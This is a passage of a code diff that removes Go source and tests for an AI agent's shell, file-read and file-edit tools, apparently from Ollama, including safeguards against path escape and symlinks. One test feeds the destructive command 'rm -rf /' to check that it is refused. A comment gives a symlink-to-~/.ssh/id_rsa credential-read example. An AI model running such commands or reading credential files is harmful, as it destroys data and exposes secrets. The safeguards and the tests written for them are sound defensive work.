-		"command": "rm -rf /",
-	})
-	if err == nil || !strings.Contains(err.Error(), "refusing to run unsafe command") {
-		t.Fatalf("err = %v, want unsafe command rejection", err)
-	}
-}
-
-func shellTestCommand(unix, windows string) string {
-	if runtime.GOOS == "windows" {
-		return windows
-	}
-	return unix
-}
-
-func shellTestCapturedXCount() int {
-	if runtime.GOOS == "windows" {
-		return maxBashOutputBytes
-	}
-	return maxBashOutputBytes / 2
-}
-
-func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
-	dir := t.TempDir()
-	cwdFile := filepath.Join(dir, "cwd")
-	notDir := filepath.Join(dir, "file.txt")
-	if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	if got := readFinalWorkingDir(cwdFile); got != "" {
-		t.Fatalf("regular file cwd = %q, want empty", got)
-	}
-
-	if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	if got := readFinalWorkingDir(cwdFile); got != "" {
-		t.Fatalf("missing cwd = %q, want empty", got)
-	}
-
-	if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	if got := readFinalWorkingDir(cwdFile); got != dir {
-		t.Fatalf("directory cwd = %q, want %q", got, dir)
-	}
-}
-
-func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
-	if runtime.GOOS != "windows" {
-		t.Skip("windows path normalization")
-	}
-	got := normalizeBashWorkingDir("/c/Users/jdoe/project")
-	want := filepath.Clean(`C:\Users\jdoe\project`)
-	if got != want {
-		t.Fatalf("working dir = %q, want %q", got, want)
-	}
-}

agent/tools/bash_unix.go

@@ -1,49 +0,0 @@
-//go:build !windows
-
-package tools
-
-import (
-	"context"
-	"os/exec"
-	"strings"
-	"syscall"
-)
-
-func shellToolName() string {
-	return "bash"
-}
-
-func shellToolDescription() string {
-	return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
-}
-
-func shellCommandDescription() string {
-	return "The bash command to execute."
-}
-
-func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
-	script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
-	cmd := exec.CommandContext(ctx, "bash", "-c", script)
-	configureBashCommand(cmd)
-	return cmd
-}
-
-func shellQuote(value string) string {
-	return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
-}
-
-func configureBashCommand(cmd *exec.Cmd) {
-	cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
-}
-
-func runBashCommand(cmd *exec.Cmd) error {
-	return cmd.Run()
-}
-
-func killBashCommand(cmd *exec.Cmd) error {
-	if cmd == nil || cmd.Process == nil {
-		return nil
-	}
-	_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
-	return nil
-}

agent/tools/bash_unix_test.go

@@ -1,40 +0,0 @@
-//go:build !windows
-
-package tools
-
-import (
-	"context"
-	"os/exec"
-	"strings"
-	"testing"
-	"time"
-
-	"github.com/ollama/ollama/agent"
-)
-
-func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
-	cmd := exec.Command("bash", "-c", "true")
-	configureBashCommand(cmd)
-	if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
-		t.Fatalf("configureBashCommand should start bash in a new process group")
-	}
-}
-
-func TestBashWaitDelayBoundsBackgroundOutputPipe(t *testing.T) {
-	start := time.Now()
-	result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
-		"command": "sleep 5 & echo done",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if elapsed := time.Since(start); elapsed > bashWaitDelay+2*time.Second {
-		t.Fatalf("command elapsed = %s, want bounded near %s", elapsed, bashWaitDelay)
-	}
-	if !strings.Contains(result.Content, "done") {
-		t.Fatalf("content = %q, want command output", result.Content)
-	}
-	if !strings.Contains(result.Content, "output pipes did not close") {
-		t.Fatalf("content = %q, want wait delay message", result.Content)
-	}
-}

agent/tools/bash_windows.go

@@ -1,134 +0,0 @@
-//go:build windows
-
-package tools
-
-import (
-	"context"
-	"os/exec"
-	"strings"
-	"sync"
-	"unsafe"
-
-	"golang.org/x/sys/windows"
-)
-
-var bashJobHandles sync.Map
-
-func shellToolName() string {
-	return "powershell"
-}
-
-func shellToolDescription() string {
-	return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
-}
-
-func shellCommandDescription() string {
-	return "The PowerShell command to execute."
-}
-
-func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
-	return exec.CommandContext(
-		ctx,
-		"powershell.exe",
-		"-NoLogo",
-		"-NoProfile",
-		"-NonInteractive",
-		"-ExecutionPolicy",
-		"Bypass",
-		"-Command",
-		powerShellCommandScript(command, cwdPath),
-	)
-}
-
-func powerShellCommandScript(command, cwdPath string) string {
-	cwdPath = powerShellSingleQuote(cwdPath)
-	return strings.Join([]string{
-		"$__ollama_status = 0",
-		". {",
-		"try {",
-		command,
-		"  $__ollama_success = $?",
-		"  $__ollama_last_exit = $global:LASTEXITCODE",
-		"  if ($__ollama_success) {",
-		"    $__ollama_status = 0",
-		"  } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
-		"    $__ollama_status = $__ollama_last_exit",
-		"  } else {",
-		"    $__ollama_status = 1",
-		"  }",
-		"} catch {",
-		"  Write-Error $_",
-		"  $__ollama_status = 1",
-		"} finally {",
-		"  try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
-		"}",
-		"} | Out-String -Stream -Width 4096",
-		"exit $__ollama_status",
-	}, "\n")
-}
-
-func powerShellSingleQuote(value string) string {
-	return "'" + strings.ReplaceAll(value, "'", "''") + "'"
-}
-
-func runBashCommand(cmd *exec.Cmd) error {
-	if err := cmd.Start(); err != nil {
-		return err
-	}
-	if job, err := createBashJob(cmd.Process.Pid); err == nil {
-		bashJobHandles.Store(cmd.Process.Pid, job)
-		defer releaseBashJob(cmd.Process.Pid)
-	}
-	return cmd.Wait()
-}
-
-func killBashCommand(cmd *exec.Cmd) error {
-	if cmd == nil || cmd.Process == nil {
-		return nil
-	}
-	releaseBashJob(cmd.Process.Pid)
-	_ = cmd.Process.Kill()
-	return nil
-}
-
-func createBashJob(pid int) (windows.Handle, error) {
-	job, err := windows.CreateJobObject(nil, nil)
-	if err != nil {
-		return 0, err
-	}
-
-	info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
-	info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
-	if _, err := windows.SetInformationJobObject(
-		job,
-		windows.JobObjectExtendedLimitInformation,
-		uintptr(unsafe.Pointer(&info)),
-		uint32(unsafe.Sizeof(info)),
-	); err != nil {
-		_ = windows.CloseHandle(job)
-		return 0, err
-	}
-
-	process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
-	if err != nil {
-		_ = windows.CloseHandle(job)
-		return 0, err
-	}
-	defer windows.CloseHandle(process)
-
-	if err := windows.AssignProcessToJobObject(job, process); err != nil {
-		_ = windows.CloseHandle(job)
-		return 0, err
-	}
-	return job, nil
-}
-
-func releaseBashJob(pid int) {
-	value, ok := bashJobHandles.LoadAndDelete(pid)
-	if !ok {
-		return
-	}
-	if job, ok := value.(windows.Handle); ok {
-		_ = windows.CloseHandle(job)
-	}
-}

agent/tools/bash_windows_test.go

@@ -1,15 +0,0 @@
-//go:build windows
-
-package tools
-
-import (
-	"strings"
-	"testing"
-)
-
-func TestPowerShellCommandScriptUsesWideOutString(t *testing.T) {
-	script := powerShellCommandScript("Get-ChildItem", `C:\cwd.txt`)
-	if !strings.Contains(script, "Out-String -Stream -Width 4096") {
-		t.Fatalf("script = %q, want explicit Out-String width", script)
-	}
-}

agent/tools/file.go

@@ -1,711 +0,0 @@
-package tools
-
-import (
-	"bufio"
-	"cmp"
-	"context"
-	"encoding/json"
-	"fmt"
-	"io"
-	"os"
-	"path/filepath"
-	"slices"
-	"strconv"
-	"strings"
-
-	"github.com/ollama/ollama/agent"
-	"github.com/ollama/ollama/api"
-)
-
-const (
-	maxReadBytes = 200000
-)
-
-type Read struct{}
-
-func (r *Read) Name() string {
-	return "read"
-}
-
-func (r *Read) Description() string {
-	return "Read a text file from the current working directory."
-}
-
-func (r *Read) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("path", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "Path to the file to read, relative to the working directory.",
-	})
-	props.Set("start", api.ToolProperty{
-		Type:        api.PropertyType{"integer"},
-		Description: "Optional 1-based line to start reading from.",
-	})
-	props.Set("end", api.ToolProperty{
-		Type:        api.PropertyType{"integer"},
-		Description: "Optional 1-based inclusive line to stop reading at.",
-	})
-	return api.ToolFunction{
-		Name:        r.Name(),
-		Description: r.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"path"},
-		},
-	}
-}
-
-func (r *Read) RequiresApproval(map[string]any) bool {
-	return true
-}
-
-func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
-	// TODO: use shared agent.RequiredStringArg / agent.OptionalIntArg for args (see agent package cleanup plan).
-	path, ok := args["path"].(string)
-	if !ok || strings.TrimSpace(path) == "" {
-		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
-	}
-
-	file, info, err := openRegularFile(toolCtx.WorkingDir, path, true)
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-	defer file.Close()
-
-	selection, err := readSelectionFromArgs(args)
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-	if !selection.enabled && info.Size() > maxReadBytes {
-		return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
-	}
-
-	select {
-	case <-ctx.Done():
-		return agent.ToolResult{}, ctx.Err()
-	default:
-	}
-
-	var content string
-	if selection.enabled {
-		content, err = readLineSelection(file, selection)
-	} else {
-		var contentBytes []byte
-		contentBytes, err = readAllWithinLimit(file, maxReadBytes)
-		content = string(contentBytes)
-	}
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-	return agent.ToolResult{Content: content}, nil
-}
-
-type Edit struct{}
-
-func (e *Edit) Name() string {
-	return "edit"
-}
-
-func (e *Edit) Description() string {
-	return "Edit a text file in the current working directory by replacing exact text. Pass multiple edits to change separate parts of the file in one call."
-}
-
-func (e *Edit) Schema() api.ToolFunction {
-	editProps := api.NewToolPropertiesMap()
-	editProps.Set("old_text", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "Exact text for one targeted replacement. Must match the original file exactly once and must not overlap with any other edit's old_text.",
-	})
-	editProps.Set("new_text", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "Replacement text for this targeted edit.",
-	})
-
-	props := api.NewToolPropertiesMap()
-	props.Set("path", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "Path to the file to edit, relative to the working directory.",
-	})
-	props.Set("edits", api.ToolProperty{
-		Type: api.PropertyType{"array"},
-		Items: api.ToolProperty{
-			Type:       api.PropertyType{"object"},
-			Properties: editProps,
-			Required:   []string{"old_text", "new_text"},
-		},
-		Description: "One or more exact-text replacements. Each is matched against the original file, not against the output of earlier edits. Keep old_text as small as possible while still unique in the file; merge changes to the same or adjacent lines into a single edit.",
-	})
-	props.Set("replace_all", api.ToolProperty{
-		Type:        api.PropertyType{"boolean"},
-		Description: "Replace every occurrence. Defaults to false; only applies when a single edit is provided.",
-	})
-	return api.ToolFunction{
-		Name:        e.Name(),
-		Description: e.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"path", "edits"},
-		},
-	}
-}
-
-func (e *Edit) RequiresApproval(map[string]any) bool {
-	return true
-}
-
-func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
-	// TODO: use shared agent.RequiredStringArg / agent.OptionalBoolArg for args (see agent package cleanup plan).
-	path, ok := args["path"].(string)
-	if !ok || strings.TrimSpace(path) == "" {
-		return agent.ToolResult{}, fmt.Errorf("path parameter is required")
-	}
-
-	edits, replaceAll, err := parseEditArgs(args)
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-
-	if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
-		return agent.ToolResult{}, err
-	}
-
-	file, info, err := openRegularFile(toolCtx.WorkingDir, path, false)
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-	if info.Size() > maxReadBytes {
-		file.Close()
-		return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
-	}
-
-	select {
-	case <-ctx.Done():
-		file.Close()
-		return agent.ToolResult{}, ctx.Err()
-	default:
-	}
-
-	contentBytes, err := readAllWithinLimit(file, maxReadBytes)
-	if closeErr := file.Close(); err == nil && closeErr != nil {
-		err = closeErr
-	}
-	if err != nil {
-		return agent.ToolResult{}, err
-	}
-	content := string(contentBytes)
-
-	var updated string
-	replacements := 0
-	if replaceAll {
-		matches := strings.Count(content, edits[0].OldText)
-		if matches == 0 {
-			return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
-		}
-		updated = strings.ReplaceAll(content, edits[0].OldText, edits[0].NewText)
-		replacements = matches
-	} else {
-		// Every edit is matched against the original file content rather
-		// than the output of earlier edits, so each edit must match exactly
-		// once and edits must target disjoint regions.
-		matched := make([]editMatch, 0, len(edits))
-		for i, edit := range edits {
-			count := strings.Count(content, edit.OldText)
-			if count == 0 {
-				return agent.ToolResult{}, editNotFoundError(path, i, len(edits))
-			}
-			if count > 1 {
-				return agent.ToolResult{}, editAmbiguousError(path, i, len(edits), count)
-			}
-			matched = append(matched, editMatch{
-				editIndex: i,
-				offset:    strings.Index(content, edit.OldText),
-				length:    len(edit.OldText),
-				newText:   edit.NewText,
-			})
-			replacements++
-		}
-
-		slices.SortFunc(matched, func(a, b editMatch) int { return cmp.Compare(a.offset, b.offset) })
-		for i := 1; i < len(matched); i++ {
-			prev, cur := matched[i-1], matched[i]
-			if prev.offset+prev.length > cur.offset {
-				return agent.ToolResult{}, fmt.Errorf("edits[%d] and edits[%d] overlap in %s; merge them into one edit or target disjoint text", prev.editIndex, cur.editIndex, path)
-			}
-		}
-
-		// Apply from the end of the file backwards so earlier offsets stay valid.
-		updated = content
-		for i := len(matched) - 1; i >= 0; i-- {
-			m := matched[i]
-			updated = updated[:m.offset] + m.newText + updated[m.offset+m.length:]
-		}
-	}
-
-	if updated == content {
-		return agent.ToolResult{}, fmt.Errorf("edit produced no changes in %s; replacement text is identical to the original", path)
-	}
-	if len(updated) > maxReadBytes {
-		return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
-	}
-
-	if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
-		return agent.ToolResult{}, err
-	}
-
-	return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d edit%s, %d replacement%s).", path, len(edits), plural(len(edits)), replacements, plural(replacements))}, nil
-}
-
-// editReplacement is one targeted replacement within an edit call.
-type editReplacement struct {
-	OldText string
-	NewText string
-}
-
-// editMatch locates one editReplacement within the original file content.
-type editMatch struct {
-	editIndex int
-	offset    int
-	length    int
-	newText   string
-}
-
-// parseEditArgs normalizes edit arguments from a tool call into a list of
-// replacements. It accepts the `edits` array form and tolerates legacy
-// top-level old_text/new_text args as well as stringified JSON, mirroring
-// the pi coding agent's argument handling.
-func parseEditArgs(args map[string]any) ([]editReplacement, bool, error) {
-	replaceAll, _ := args["replace_all"].(bool)
-
-	var edits []editReplacement
-	if raw, ok := args["edits"]; ok {
-		parsed, err := parseEditArray(raw)
-		if err != nil {
-			return nil, false, err
-		}
-		edits = parsed
-	}
-
-	// Fold a legacy top-level old_text/new_text pair into edits.
-	if oldText, ok := args["old_text"].(string); ok {
-		newText, ok := args["new_text"].(string)
-		if !ok {
-			return nil, false, fmt.Errorf("new_text parameter is required")
-		}
-		edits = append(edits, editReplacement{OldText: oldText, NewText: newText})
-	}
-
-	if len(edits) == 0 {
-		return nil, false, fmt.Errorf("edits parameter is required")
-	}
-	for i, edit := range edits {
-		if edit.OldText == "" {
-			if len(edits) == 1 {
-				return nil, false, fmt.Errorf("old_text parameter is required")
-			}
-			return nil, false, fmt.Errorf("edits[%d].old_text must not be empty", i)
-		}
-	}
-	if replaceAll && len(edits) != 1 {
-		return nil, false, fmt.Errorf("replace_all only applies to a single edit")
-	}
-	return edits, replaceAll, nil
-}
-
-func parseEditArray(raw any) ([]editReplacement, error) {
-	if s, ok := raw.(string); ok {
-		// Some models serialize array arguments as a JSON string.
-		if err := json.Unmarshal([]byte(s), &raw); err != nil {
-			return nil, fmt.Errorf("edits must be an array of {old_text, new_text} objects")
-		}
-	}
-	items, ok := raw.([]any)
-	if !ok {
-		return nil, fmt.Errorf("edits must be an array of {old_text, new_text} objects")
-	}
-
-	edits := make([]editReplacement, 0, len(items))
-	for i, item := range items {
-		entry, ok := item.(map[string]any)
-		if !ok {
-			return nil, fmt.Errorf("edits[%d] must be an object with old_text and new_text", i)
-		}
-		oldText, oldOK := editTextArg(entry, "old_text", "oldText")
-		newText, newOK := editTextArg(entry, "new_text", "newText")
-		if !oldOK || !newOK {
-			return nil, fmt.Errorf("edits[%d] must be an object with old_text and new_text", i)
-		}
-		edits = append(edits, editReplacement{OldText: oldText, NewText: newText})
-	}
-	return edits, nil
-}
-
-// editTextArg reads the first present string key, tolerating both snake_case
-// and camelCase spellings that models emit.
-func editTextArg(entry map[string]any, keys ...string) (string, bool) {
-	for _, key := range keys {
-		if value, ok := entry[key].(string); ok {
-			return value, true
-		}
-	}
-	return "", false
-}
-
-func editNotFoundError(path string, editIndex, totalEdits int) error {
-	if totalEdits == 1 {
-		return fmt.Errorf("old_text was not found in %s", path)
-	}
-	return fmt.Errorf("edits[%d].old_text was not found in %s", editIndex, path)
-}
-
-func editAmbiguousError(path string, editIndex, totalEdits, occurrences int) error {
-	if totalEdits == 1 {
-		return fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", occurrences, path)
-	}
-	return fmt.Errorf("edits[%d].old_text matched %d times in %s; each edit must match exactly once, so provide more surrounding context", editIndex, occurrences, path)
-}
-
-func cleanRelativePath(path string) (string, error) {
-	path = strings.TrimSpace(path)
-	if path == "" {
-		return "", fmt.Errorf("path parameter is required")
-	}
-	if filepath.IsAbs(path) {
-		return "", fmt.Errorf("absolute paths are not allowed")
-	}
-	cleaned := filepath.Clean(path)
-	if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
-		return "", fmt.Errorf("path escapes working directory")
-	}
-	return cleaned, nil
-}
-
-func openRegularFile(workingDir, path string, allowAbsolute bool) (*os.File, os.FileInfo, error) {
-	path = strings.TrimSpace(path)
-	if path == "" {
-		return nil, nil, fmt.Errorf("path parameter is required")
-	}
-	if allowAbsolute && filepath.IsAbs(path) {
-		cleaned := filepath.Clean(path)
-		info, err := os.Lstat(cleaned)
-		if err != nil {
-			return nil, nil, err
-		}
-		if info.Mode()&os.ModeSymlink != 0 {
-			return nil, nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
-		}
-		if err := rejectNonRegularFile(path, info); err != nil {
-			return nil, nil, err
-		}
-		file, err := os.Open(cleaned)
-		if err != nil {
-			return nil, nil, err
-		}
-		info, err = file.Stat()
-		if err != nil {
-			file.Close()
-			return nil, nil, err
-		}
-		if err := rejectNonRegularFile(path, info); err != nil {
-			file.Close()
-			return nil, nil, err
-		}
-		return file, info, nil
-	}
-
-	rel, err := cleanRelativePath(path)
-	if err != nil {
-		return nil, nil, err
-	}
-	root, err := openWorkingRoot(workingDir)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer root.Close()
-
-	if _, err := regularRootFileInfo(root, rel, path); err != nil {
-		return nil, nil, err
-	}
-	file, err := root.Open(rel)
-	if err != nil {
-		return nil, nil, rootPathError(err)
-	}
-	info, err := file.Stat()
-	if err != nil {
-		file.Close()
-		return nil, nil, err
-	}
-	if err := rejectNonRegularFile(path, info); err != nil {
-		file.Close()
-		return nil, nil, err
-	}
-	return file, info, nil
-}
-
-func regularRootFileInfo(root *os.Root, rel, path string) (os.FileInfo, error) {
-	info, err := root.Lstat(rel)
-	if err != nil {
-		return nil, rootPathError(err)
-	}
-	// Reject symlinks outright. os.Root.Open follows symlinks via openat
-	// without O_NOFOLLOW, so a symlink inside the working root that points
-	// outside it (e.g. ./notes -> ~/.ssh/id_rsa) would otherwise be read
-	// transparently, bypassing the working-directory confinement that the
-	// bash denylist enforces for direct credential reads. The caller must
-	// operate on the real target file instead.
-	if info.Mode()&os.ModeSymlink != 0 {
-		return nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
-	}
-	if err := rejectNonRegularFile(path, info); err != nil {
-		return nil, err
-	}
-	return info, nil
-}
-
-func rejectNonRegularFile(path string, info os.FileInfo) error {
-	if info.IsDir() {
-		return fmt.Errorf("%s is a directory", path)
-	}
-	if !info.Mode().IsRegular() {
-		return fmt.Errorf("%s is not a regular file", path)
-	}
-	return nil
-}
-
-func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
-	rel, err := cleanRelativePath(path)
-	if err != nil {
-		return err
-	}
-	root, err := openWorkingRoot(workingDir)
-	if err != nil {
-		return err
-	}
-	defer root.Close()
-	if err := rejectRootFinalSymlink(root, rel, path); err != nil {
-		return err
-	}
-
-	parent, name := filepath.Split(rel)
-	tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
-	for i := 0; ; i++ {
-		candidateName := tmpBase
-		if i > 0 {
-			candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
-		}
-		candidate := filepath.Join(parent, candidateName)
-		file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
-		if os.IsExist(err) {
-			continue
-		}
-		if err != nil {
-			return rootPathError(err)
-		}
-		if err := file.Chmod(perm); err != nil {
-			closeErr := file.Close()
-			_ = root.Remove(candidate)
-			if closeErr != nil {
-				return closeErr
-			}
-			return err
-		}
-		writeErr := writeAllAndSync(file, data)
-		closeErr := file.Close()
-		if writeErr != nil || closeErr != nil {
-			_ = root.Remove(candidate)
-			if writeErr != nil {
-				return writeErr
-			}
-			return closeErr
-		}
-		if err := root.Rename(candidate, rel); err != nil {
-			_ = root.Remove(candidate)
-			return rootPathError(err)
-		}
-		return nil
-	}
-}
-
-func rejectFinalSymlink(workingDir, path string) error {
-	rel, err := cleanRelativePath(path)
-	if err != nil {
-		return err
-	}
-	root, err := openWorkingRoot(workingDir)
-	if err != nil {
-		return err
-	}
-	defer root.Close()
-	return rejectRootFinalSymlink(root, rel, path)
-}
-
-func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
-	info, err := root.Lstat(rel)
-	if err != nil {
-		return rootPathError(err)
-	}
-	if info.Mode()&os.ModeSymlink != 0 {
-		return fmt.Errorf("%s is a symlink; edit the target file directly", path)
-	}
-	return nil
-}
-
-func rootPathError(err error) error {
-	if err != nil && strings.Contains(err.Error(), "path escapes") {
-		return fmt.Errorf("path escapes working directory")
-	}
-	return err
-}
-
-func openWorkingRoot(workingDir string) (*os.Root, error) {
-	base, err := workingDirAbs(workingDir)
-	if err != nil {
-		return nil, err
-	}
-	return os.OpenRoot(base)
-}
-
-func writeAllAndSync(file *os.File, data []byte) error {
-	if _, err := file.Write(data); err != nil {
-		return err
-	}
-	return file.Sync()
-}
-
-func readAllWithinLimit(reader io.Reader, limit int) ([]byte, error) {
-	if limit < 0 {
-		limit = 0
-	}
-	content, err := io.ReadAll(io.LimitReader(reader, int64(limit)+1))
-	if err != nil {
-		return nil, err
-	}
-	if len(content) > limit {
-		return nil, fmt.Errorf("content is too large (%d byte limit)", limit)
-	}
-	return content, nil
-}
-
-func workingDirAbs(workingDir string) (string, error) {
-	base := workingDir
-	if base == "" {
-		var err error
-		base, err = os.Getwd()
-		if err != nil {
-			return "", err
-		}
-	}
-	return canonicalPath(base)
-}
-
-func canonicalPath(path string) (string, error) {
-	abs, err := filepath.Abs(path)
-	if err != nil {
-		return "", err
-	}
-	resolved, err := filepath.EvalSymlinks(abs)
-	if err == nil {
-		return resolved, nil
-	}
-	return abs, nil
-}
-
-type readSelection struct {
-	enabled bool
-	start   int
-	end     int
-}
-
-func readSelectionFromArgs(args map[string]any) (readSelection, error) {
-	selection := readSelection{start: 1}
-
-	if start, ok, err := intReadArg(args, "start"); err != nil {
-		return readSelection{}, err
-	} else if ok {
-		selection.enabled = true
-		selection.start = start
-	}
-	if end, ok, err := intReadArg(args, "end"); err != nil {
-		return readSelection{}, err
-	} else if ok {
-		selection.enabled = true
-		selection.end = end
-	}
-
-	if !selection.enabled {
-		return selection, nil
-	}
-	if selection.start < 1 {
-		return readSelection{}, fmt.Errorf("start must be greater than 0")
-	}
-	if selection.end > 0 && selection.end < selection.start {
-		return readSelection{}, fmt.Errorf("end must be greater than or equal to start")
-	}
-	return selection, nil
-}
-
-func readLineSelection(file *os.File, selection readSelection) (string, error) {
-	reader := bufio.NewReader(file)
-	var b strings.Builder
-	for lineNo := 1; ; {
-		line, err := reader.ReadSlice('\n')
-		if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
-			if b.Len()+len(line) > maxReadBytes {
-				return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
-			}
-			b.Write(line)
-		}
-		if err != nil {
-			if err == bufio.ErrBufferFull {
-				continue
-			}
-			if err == io.EOF {
-				break
-			}
-			return "", err
-		}
-		if selection.end > 0 && lineNo >= selection.end {
-			break
-		}
-		lineNo++
-	}
-	return b.String(), nil
-}
-
-func intReadArg(args map[string]any, key string) (int, bool, error) {
-	value, ok := args[key]
-	if !ok {
-		return 0, false, nil
-	}
-	switch v := value.(type) {
-	case int:
-		return v, true, nil
-	case int64:
-		return int(v), true, nil
-	case float64:
-		if v != float64(int(v)) {
-			return 0, true, fmt.Errorf("%s must be a whole number", key)
-		}
-		return int(v), true, nil
-	case string:
-		v = strings.TrimSpace(v)
-		if v == "" {
-			return 0, false, nil
-		}
-		n, err := strconv.Atoi(v)
-		if err != nil {
-			return 0, true, fmt.Errorf("%s must be a whole number", key)
-		}
-		return n, true, nil
-	default:
-		return 0, true, fmt.Errorf("%s must be a whole number", key)
-	}
-}
-
-func plural(n int) string {
-	if n == 1 {
-		return ""
-	}
-	return "s"
-}

agent/tools/file_test.go

@@ -1,571 +0,0 @@
-package tools
-
-import (
-	"context"
-	"io"
-	"os"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/ollama/ollama/agent"
-)
-
-func TestEditReplacesUniqueText(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":     "note.txt",
-		"old_text": "hello",
-		"new_text": "hi",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !strings.Contains(result.Content, "Updated note.txt") {
-		t.Fatalf("result = %q", result.Content)
-	}
-
-	content, err := os.ReadFile(path)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(content) != "hi world\n" {
-		t.Fatalf("content = %q", content)
-	}
-}
-
-func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path":     "note.txt",
-		"old_text": "same",
-		"new_text": "other",
-	})
-	if err == nil {
-		t.Fatal("expected ambiguous edit to fail")
-	}
-	if !strings.Contains(err.Error(), "matched 2 times") {
-		t.Fatalf("err = %v", err)
-	}
-}
-
-func TestEditAppliesMultipleEdits(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("alpha beta gamma delta\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
-		"path": "note.txt",
-		"edits": []any{
-			map[string]any{"old_text": "beta", "new_text": "BETA"},
-			map[string]any{"old_text": "delta", "new_text": "DELTA"},
-		},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !strings.Contains(result.Content, "2 edits, 2 replacements") {
-		t.Fatalf("result = %q", result.Content)
-	}
-
-	content, err := os.ReadFile(path)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if string(content) != "alpha BETA gamma DELTA\n" {
-		t.Fatalf("content = %q", content)
-	}
-}
-
-func TestEditMatchesEditsAgainstOriginalContent(t *testing.T) {
-	dir := t.TempDir()
-	path := filepath.Join(dir, "note.txt")
-	if err := os.WriteFile(path, []byte("abc def\n"), 0o644); err != nil {
-		t.Fatal(err)
-	}
-
-	// edits[1] must target the original "def", not the one introduced by edits[0].
-	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
